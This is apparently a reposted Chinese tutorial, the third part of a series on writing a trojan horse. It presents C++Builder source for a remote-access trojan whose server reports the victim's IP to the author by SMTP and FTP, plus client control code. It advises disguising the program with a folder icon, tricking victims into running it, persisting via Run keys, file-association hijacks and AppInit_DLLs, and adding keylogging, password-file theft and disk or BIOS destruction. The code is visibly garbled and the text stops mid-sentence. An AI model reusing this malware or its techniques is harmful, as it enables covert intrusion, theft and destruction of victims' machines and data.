首页 > 焦点 > 木马是如何编写的(三)
木马是如何编写的(三)
网上收集 2007/11/27 9:36:13 (256)

上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):

{
END;
Socket-Close();
file关闭服务
ServerSocket1-Active =true;
file再次打开服务
if (NMSMTP1-Connected) NMSMTP1-Disconnect();
file如果SMTP服务器已连接则断开
NMSMTP1-Host = smtp.163.net;
file选一个好用的SMTP服务器,如163、263、sina和btamail
NMSMTP1-UserID = ;
file你SMTP的ID
try
{
NMSMTP1-Connect();
file再次连接
}
catch(...)
{
goto NextTime;
file跳到NextTime
}
NMSMTP1-PostMessage-FromAddress =I don't know!;
file受害者的Email地址
NMSMTP1-PostMessage-FromName = Casualty;
file受害者的名字
NMSMTP1-PostMessage-ToAddress-Text =
crossbow@8848.net;
file将信发到我的邮箱,这一步很关键
NMSMTP1-PostMessage-Body-Text = AnsiString(Server Running on) + NMSMTP1-LocalIP ;
file信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接
NMSMTP1-PostMessage-Subject = Server Running Now!;
file信的主题
NMSMTP1-SendMail();
file发送!
return;
file返回

NextTime
NMFTP1-Host = ftpftp.go.163.com;
file你的FTP服务器的地址
NMFTP1-UserID = ;
file你的用户ID
NMFTP1-Port = 21;
fileFTP端口号,一般为21
NMFTP1-Password = ;
file你的FTP的密码
if(NMFTP1-Connected) NMFTP1-Disconnect();
file如果已连接就断开
try
{
NMFTP1-Connect();
file再连接
}
catch(...)
{
return;
file返回
}
AnsiString SendToSite = Server Running on  + NMFTP1-RemoteIP;
file受害者的IP地址
FILE  Upload;
Upload = fopen(NMFTP1-RemoteIP.c_str(),w+);
file创建一个新文件准备写,如果已存在就覆盖
fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);
file写入以上的SendToSite的内容
fclose(Upload);
file写完后关闭此文件
NMFTP1-RemoveDir(public_html);
file删除public_html目录
NMFTP1-Upload(NMFTP1-RemoteIP, NMFTP1-RemoteIP);
file上传!
}
啊,超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件:

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

  至此,服务器端(Server)程序已全部完工!(终于可以好好歇歇了!)别慌!以上代码只是完成了整个木马程序的一半。(“扑通”,有人晕倒了!)下面我们就将乘胜追击——搞定客户端程序(Client)!

  客户端程序其实是很简单的。另新建一个Form,添加一个ClientSocket(和ServerSocket在相同的页下),再添加四个Editbox,命名为Edit1,Edit2,Edit3和Edit4,最后添加一个Button,Caption为“发送”。Edit1是输入命令用的,Edit2是准备输入目标机的IP地址用的,Edit3是输入连接端口号用的,Edit4是用来输入欲添加的语句或显示命令执行的结果的。(头是不是有点大了?!)

  双击Button1,在Button1Click事件中添加如下代码:

{
if((Edit2-Text==)(Edit3-Text==))return;
file如果输入IP地址框或输入端口号框有一个为空,就什么也不作
ClientSocket1-Address=Edit2-Text;
file目标IP地址
ClientSocket1-Port=atoi(Edit2-Text.c_str());
file目标端口号,本例中的44444
ClientSocket1-Open();
file连接!
}

  选中CilentSocket1控件,双击OnConnectt事件,在ClientSocket1Connect下添加如下代码:

{
if((Edit1-Text==edit conf 1)(Edit1-Text==edit conf 2))
file如果是要编辑autoexec.bat或config.sys
Socket-SendText(Edit1-Text+Edit4-Text);
file发送命令和欲添加的语句
else
Socket-SendText(Edit1-Text);
file否则只发送命令
}

  双击OnRead事件,在ClientSocket1Read下添加如下代码:

{
AnsiString ReadIn = Socket-ReceiveText();
file读入收到的返回信息
Edit4-Text=;
file清空编辑框
FILE fp;
fp = fopen(ReadIn.tmp,w);
file建立一个临时文件ReadIn.tmp
fwrite(ReadIn.c_str(),1,10000,fp);
file写入信息
fclose(fp);
file关闭之
Edit4-Lines-LoadFromFile(ReadIn.tmp);
file在编辑框中显示返回的信息
}

  为了敲完命令后直接回车就可以发送,我们可以使Button1的代码共享。双击Edit1的onKeyPress命令,输入:

{
if(Key==VK_RETURN)Button1Click(Sender);
file如果敲的是回车键,就和点击Button1一样的效果
}

  最后再添加以下头文件:

#include stdlib.h
#include winbase.h
#include fcntl.h
#include stdio.h

  终于写完了!!!(如果你对简陋的界面不满意,可以自己用BCB中丰富的控件好好完善完善嘛!)按下Ctrl+F9进行编译链接吧!对于Server,你可以选一个足以迷惑人的图标(我选的是一个目录模样的图标)进行编译,这样不但受害者容易中招,而且便于隐藏自己。

  接下来就把Server程序寄给受害者,诱骗他(她)执行,在你得到他(她)的IP后(这不用我教吧?),就启动Client程序,敲入“edit conf 1”就编辑Autoexec.bat文件,敲入“edit conf 2”就编辑Config.sys文件,敲入“dir xxx”(xxx是目录名)就可以看到目录和文件,敲“type xxx”就可以察看任何文件,输入“open”,弹出目标机的光驱托盘,“close”就收入托盘,输入“swap”就可以交换受害者的鼠标左右键,输入“reboot”就启动目标机……不用我多说了吧?
 以上只是一个简单的例子,真正写起木马来要解决的技术问题比这多得多,这得需要扎实的编程功底和丰富的经验。如下的问题就值得仔细考虑:

  首先是程序的大小问题,本程序经编译链接后得到的可执行文件竟有400多K,用Aspack1.07压了一下也还有200多K。可以看出不必要的Form是应该去掉的;并且尽量由自己调用底层的API函数,而尽量少使用Borland打好包的VCL控件;要尽量使用汇编语言(BCB支持C++和汇编混编),不但速度会加快,而且大小可以小很多,毕竟木马是越小越好。

  还有启动方式的选择。出了Win.ini、System.ini之外,也还是那几个注册表键值,如:

HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun

  都已被其他的木马用烂了。现在又开始对exe、dll和txt文件的关联程序动手脚了(如冰河和广外女生)。这里涉及到参数传递的问题。得到ParamStr()函数传来的参数,启动自己后再启动与之关联的程序,并将参数传递给它,这样就完成了一次“双启动”,而受害者丝毫感觉不到有任何异常。具体键值如:

与exe文件建立关联:HKEY_CLASSES_ROOTexefileshellopencommand
与txt文件建立关联:HKEY_CLASSES_ROOTtxtfileshellopencommand
与dll文件建立关联:HKEY_CLASSES_ROOTdllfileshellopencommand

  等,当然还可以自己扩充。目前还有一种新方法:在HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWindows下添加如下键值 AppInit_DLLs=Server.dll,这就把Server.dll注册为系统启动时必须加载的模块(你应该把木马编译成DLL)。下次开机时,木马以动态链接库形式被加载,存在于系统进程中。因为没有它自己的PID(Process ID 进程识别号),所以在NT的任务管理器中也看不见(不过在“系统信息”——“软件环境”——“已加载的32位模块”中还是可以详细看到当前内存中加载的每一个模块的 ^_^),这样做的目的是可以使自己的程序更加隐蔽,提高木马的生存能力。

  木马的功能还可以大大扩充。你可以充分发挥你的想象力——比如上传、下载、新建、改名、移动文件,截图存为jpg文件传回,录音监听成Wav文件,录像成AVI文件,弹光驱,读软驱,关机,重启,不停地挂起,胡乱切换分辨率(烧掉你的显示器),发对话框,不停地打开资源管理器直到死机,杀掉Kernel32.dll进程使机器暴死,交换鼠标左右键,固定鼠标,限制鼠标活动范围,鼠标不听指挥到处乱窜,记录击键记录(记录上网口令,这需要深入了解钩子(Hook)技术,如键盘钩子和鼠标钩子),窃取重要的密码文件如pwl和sam文件,格式化磁盘,乱写磁盘扇区(像病毒大爆发),破坏零磁道,乱写BIOS(像CIH),胡乱设置CMOS,加密MBR、HDPT和FAT(像江民炸弹)……真是琳琅满目、心狠手辣呀!而且实现起来并不是很复杂,只不过后面几项需要比较扎实的汇编功底而已(有几项要用到Vxd技术)。唉!路漫漫其修远兮,吾将上下而求索……

  如果

阅读(256) (责任编辑:城市网)
关于我们 - 联系我们 - 网站荣誉 - 广告服务 - 版权声明 - 网站地图
Copyright© 2007-2018 bj1.com.cn 首都热线 版权所有 QQ:165687462
中国·北京 粤ICP备14047004号-20